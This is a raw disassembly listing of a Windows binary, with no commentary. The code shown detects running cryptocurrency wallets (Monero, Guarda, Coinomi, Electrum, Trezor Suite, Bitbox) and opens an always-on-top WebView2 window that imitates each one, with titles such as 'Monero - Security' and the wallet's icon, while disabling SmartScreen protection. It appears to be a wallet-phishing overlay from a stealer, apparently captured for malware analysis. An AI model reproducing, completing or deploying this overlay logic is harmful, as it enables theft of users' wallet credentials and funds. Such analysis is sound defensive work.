lea r14, str.Monero
mov rdx, r14
lea rcx, [rbp + 0x10]
call fcn.14000aae0
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400096f0
lea rdx, str.MoneroActive
lea rcx, [rbp - 0x10]
call fcn.14000aae0
mov r8b, 1
lea rdx, [rbp - 0x10]
call fcn.1400083a0
lea rcx, [rbp - 0x10]
call fcn.140008930
mov byte [0x1400885d6], 1
lea rdx, str.monero_wallet_gui.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
mov qword [rbp + 0x50], r14
lea r8, [rbp + 0x50]
lea rdx, [fcn.14000ba60]
lea rcx, [rbp + 0x30]
call fcn.14001e840
lea rcx, [rbp + 0x30]
call fcn.140003e70
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Monero__Security
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp - 0x20]
call fcn.140011e90
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rbx
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticonsmonero.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000d5d5
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000d5f1
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001ec30
mov r9, qword [rax]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
lea rcx, [rsp + 0x60]
call fcn.1400140b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000d67f
nop dword [rax]
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000d650
mov ebx, dword [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.1400140b0
cmp dword [rbp + 0x38], 0
jne 0x14000f8d5
jmp 0x14000e001
lea rdx, [0x140088628]
lea rcx, [rbp - 0x10]
call fcn.1400164b0
mov rsi, rax
lea rdx, str.Opened
lea rcx, [rbp - 0x40]
call fcn.14000aae0
mov rdi, rax
lea rdx, [0x140065e88]
lea rcx, [rbp + 0x50]
call fcn.14000aae0
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400096f0
lea rdx, str.Guarda.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
lea rdx, str.GuardaActive
lea rcx, [rbp - 0x10]
call fcn.14000aae0
mov r8b, 1
lea rdx, [rbp - 0x10]
call fcn.1400083a0
lea rcx, [rbp - 0x10]
call fcn.140008930
mov byte [0x1400885c7], 1
lea rax, str.Web_Multi_currency_Wallet__Guarda
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rdx, [0x14000bb90]
lea rcx, [rbp + 0x10]
call fcn.14001e840
lea rcx, [rbp + 0x10]
call fcn.140003e70
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Guarda
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
lea r8, [rsp + 0x60]
lea rdx, [0x14000aa70]
lea rcx, [rbp + 0x30]
call fcn.14001e840
lea rcx, [rbp + 0x30]
call fcn.140003e70
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp - 0x20]
call fcn.140011e90
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rbx
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticonsguarda.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000d88f
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000d8ab
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001eb90
mov r9, qword [rax]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
lea rcx, [rsp + 0x60]
call fcn.1400140b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000d932
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000d903
mov ebx, dword [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.1400140b0
cmp dword [rbp + 0x38], 0
jne 0x14000f8db
cmp dword [rbp + 0x18], 0
jne 0x14000f8db
jmp 0x14000e001
lea rdx, [0x140088628]
lea rcx, [rbp - 0x10]
call fcn.1400164b0
mov rsi, rax
lea rdx, str.Opened
lea rcx, [rbp - 0x40]
call fcn.14000aae0
mov rdi, rax
lea rdx, str.Coinomi
lea rcx, [rbp + 0x50]
call fcn.14000aae0
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400096f0
mov byte [0x1400885d4], 1
lea rdx, str.CoinomiActive
lea rcx, [rbp - 0x10]
call fcn.14000aae0
mov r8b, 1
lea rdx, [rbp - 0x10]
call fcn.1400083a0
lea rcx, [rbp - 0x10]
call fcn.140008930
lea rdx, str.Coinomi.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
lea rax, [0x140067640]
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rdx, [fcn.14000ba60]
lea rcx, [rbp + 0x10]
call fcn.14001e840
lea rcx, [rbp + 0x10]
call fcn.140003e70
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x3e8
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Coinomi_Wallet
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
lea r8, [rsp + 0x60]
lea rdx, [0x14000aa70]
lea rcx, [rbp + 0x30]
call fcn.14001e840
lea rcx, [rbp + 0x30]
call fcn.140003e70
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp - 0x20]
call fcn.140011e90
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rbx
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticonscoinomi.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000db4c
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000db68
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001eaf0
mov r9, qword [rax]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
lea rcx, [rsp + 0x60]
call fcn.1400140b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000dbef
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000dbc0
mov ebx, dword [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.1400140b0
cmp dword [rbp + 0x38], 0
jne 0x14000f8e1
cmp dword [rbp + 0x18], 0
jne 0x14000f8e1
jmp 0x14000e001
lea rdx, [0x140088628]
lea rcx, [rbp + 0x30]
call fcn.1400164b0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
mov r8d, 6
lea rdx, str.Opened
lea rcx, [rbp - 0x10]
call fcn.14000ab20
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 8
lea rdx, str.Electrum
lea rcx, [rbp - 0x40]
call fcn.14000ab20
mov r8, rdi
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x40]
call fcn.1400096f0
mov byte [0x1400885d7], 1
call fcn.1400093c0
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140016270
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 0xe
lea rdx, str.ElectrumActive
lea rcx, [rbp - 0x40]
call fcn.14000ab20
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r9, qword [rbp - 0x40]
movabs r8, 0xcbf29ce484222325
mov rdx, rbx
mov r10, qword [rbp - 0x30]
test r10, r10
je 0x14000dd04
movabs rcx, 0x100000001b3
nop
movzx eax, byte [r9 + rdx]
xor r8, rax
imul r8, rcx
inc rdx
cmp rdx, r10
jb 0x14000dcf0
lea rdx, [rbp - 0x40]
call fcn.140025d40
cmp rax, qword [0x1400885e8]
je 0x14000dd38
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x30]
call fcn.14001f1b0
mov rcx, qword [rax]
mov byte [rcx + 0x30], 1
lea rcx, [0x1400885e0]
call fcn.140008460
jmp 0x14000dd53
lea rdx, str.The_app_doesnt_exist_in_JSON.
lea rcx, [0x140086af0]
call fcn.14001e500
mov rcx, rax
call fcn.14001e7b0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000dd8e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f92b
call fcn.14002f190
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x40]
call fcn.140016270
mov rcx, rax
call fcn.14000a930
mov ecx, 0x10
call fcn.14002f2b8
lea rcx, str.Create_Restore_wallet
mov qword [rax], rcx
lea rcx, [fcn.14000ba60]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14002a770]
xor edx, edx
xor ecx, ecx
call fcn.1400392f8
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14000f942
cmp dword [rbp + 0x18], ebx
je 0x14000f937
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.14002ebd0
test eax, eax
jne 0x14000f937
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x3e8
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Electrum__Security
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp - 0x20]
call fcn.140011e90
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rbx
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticonselectrum.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000df3c
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000df58
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001ea50
mov r9, qword [rax]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
lea rcx, [rsp + 0x60]
call fcn.1400140b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000dfdf
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000dfb0
mov ebx, dword [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.1400140b0
cmp dword [rbp + 0x18], 0
jne 0x14000f931
lea rcx, [rbp - 0x10]
call fcn.1400160c0
lea rcx, [rbp + 0xa0]
call fcn.140011de0
mov eax, ebx
jmp 0x14000c2b3
lea rdx, [0x140088628]
lea rcx, [rbp + 0x30]
call fcn.1400164b0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
mov r8d, 6
lea rdx, str.Opened
lea rcx, [rbp - 0x10]
call fcn.14000ab20
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 0xc
lea r15, [0x1400662f8]
mov rdx, r15
lea rcx, [rbp - 0x40]
call fcn.14000ab20
mov r8, rdi
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x40]
call fcn.1400096f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 0xc
lea rdx, str.TrezorActive
lea rcx, [rbp - 0x40]
call fcn.14000ab20
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r9, qword [rbp - 0x40]
movabs r8, 0xcbf29ce484222325
mov rdx, rbx
mov r10, qword [rbp - 0x30]
test r10, r10
je 0x14000e0f4
movabs rcx, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rdx + r9]
xor r8, rax
imul r8, rcx
inc rdx
cmp rdx, r10
jb 0x14000e0e0
lea rdx, [rbp - 0x40]
call fcn.140025d40
cmp rax, qword [0x1400885e8]
je 0x14000e128
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x30]
call fcn.14001f1b0
mov rcx, qword [rax]
mov byte [rcx + 0x30], 1
lea rcx, [0x1400885e0]
call fcn.140008460
jmp 0x14000e143
lea rdx, str.The_app_doesnt_exist_in_JSON.
lea rcx, [0x140086af0]
call fcn.14001e500
mov rcx, rax
call fcn.14001e7b0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000e17e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e179
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f950
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], bl
mov byte [0x1400885c1], 1
lea rdx, str.Trezor_Suite.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
mov ecx, 0x10
call fcn.14002f2b8
mov qword [rax], r15
lea rcx, [fcn.14000ba60]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14002a770]
xor edx, edx
xor ecx, ecx
call fcn.1400392f8
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14000f975
cmp dword [rbp + 0x58], ebx
je 0x14000f96a
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.14002ebd0
test eax, eax
jne 0x14000f96a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x50], xmm0
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x3bc
mov dword [rsp + 0x30], 0x64a
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Trezor_Suite
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rsi, rax
mov ecx, 0x10
call fcn.14002f2b8
mov qword [rax], r15
lea r14, [0x14000aa70]
mov qword [rax + 8], r14
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14002a770]
xor edx, edx
xor ecx, ecx
call fcn.1400392f8
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14000f95c
cmp dword [rbp + 0x18], ebx
je 0x14000f96a
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.14002ebd0
test eax, eax
jne 0x14000f96a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x10], xmm0
mov edx, 0xffffffec
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rcx, r15
call fcn.14000ba60
mov qword [rbp - 0x20], rbx
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rdi, qword [rbp - 0x20]
mov rax, qword [rdi]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rdi
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticons_trezor.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov r14, rax
test rax, rax
je 0x14000e3b9
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, rsi
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, r14
xor r8d, r8d
mov edx, 0x80
mov rcx, rsi
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000e3d5
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
lea rdx, [0x14005adee]
mov ecx, 0x18
call fcn.14002f2f4
mov r14, rax
test rax, rax
je 0x14000e439
mov dword [rax + 0xc], 1
lea rcx, vtable.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.0
mov qword [rax], rcx
mov rcx, qword [0x140088798]
test rcx, rcx
je 0x14000e428
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
mov qword [r14 + 0x10], rsi
lea rax, method.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.virtual_0
mov qword [r14], rax
mov rbx, r14
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
nop
test rbx, rbx
je 0x14000e459
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000e49f
nop
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000e470
mov ebx, dword [rbp + 0x80]
test rdi, rdi
je 0x14000e4b4
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
nop
cmp dword [rbp + 0x18], 0
jne 0x14000f956
cmp dword [rbp + 0x58], 0
jne 0x14000f956
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000e509
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e504
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f8e7
call fcn.14002f190
cmp r13, 0xf
jbe 0x14000f38a
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000f382
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f8e7
jmp 0x14000f382
lea rdx, [0x140088628]
lea rcx, [rbp + 0x30]
call fcn.1400164b0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
mov r8d, 6
lea rdx, str.Opened
lea rcx, [rbp - 0x10]
call fcn.14000ab20
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 6
lea rdx, str.Bitbox
lea rcx, [rbp - 0x40]
call fcn.14000ab20
mov r8, rdi
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x40]
call fcn.1400096f0
mov byte [0x1400885dd], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 0xc
lea rdx, str.BitboxActive
lea rcx, [rbp - 0x40]
call fcn.14000ab20
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r9, qword [rbp - 0x40]
movabs r8, 0xcbf29ce484222325
mov rdx, rbx
mov r10, qword [rbp - 0x30]
test r10, r10
je 0x14000e624
movabs rcx, 0x100000001b3
nop dword [rax]
movzx eax, byte [r9 + rdx]
xor r8, rax
imul r8, rcx
inc rdx
cmp rdx, r10
jb 0x14000e610
lea rdx, [rbp - 0x40]
call fcn.140025d40
cmp rax, qword [0x1400885e8]
je 0x14000e658
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x30]
call fcn.14001f1b0
mov rcx, qword [rax]
mov byte [rcx + 0x30], 1
lea rcx, [0x1400885e0]
call fcn.140008460
jmp 0x14000e673
lea rdx, str.The_app_doesnt_exist_in_JSON.
lea rcx, [0x140086af0]
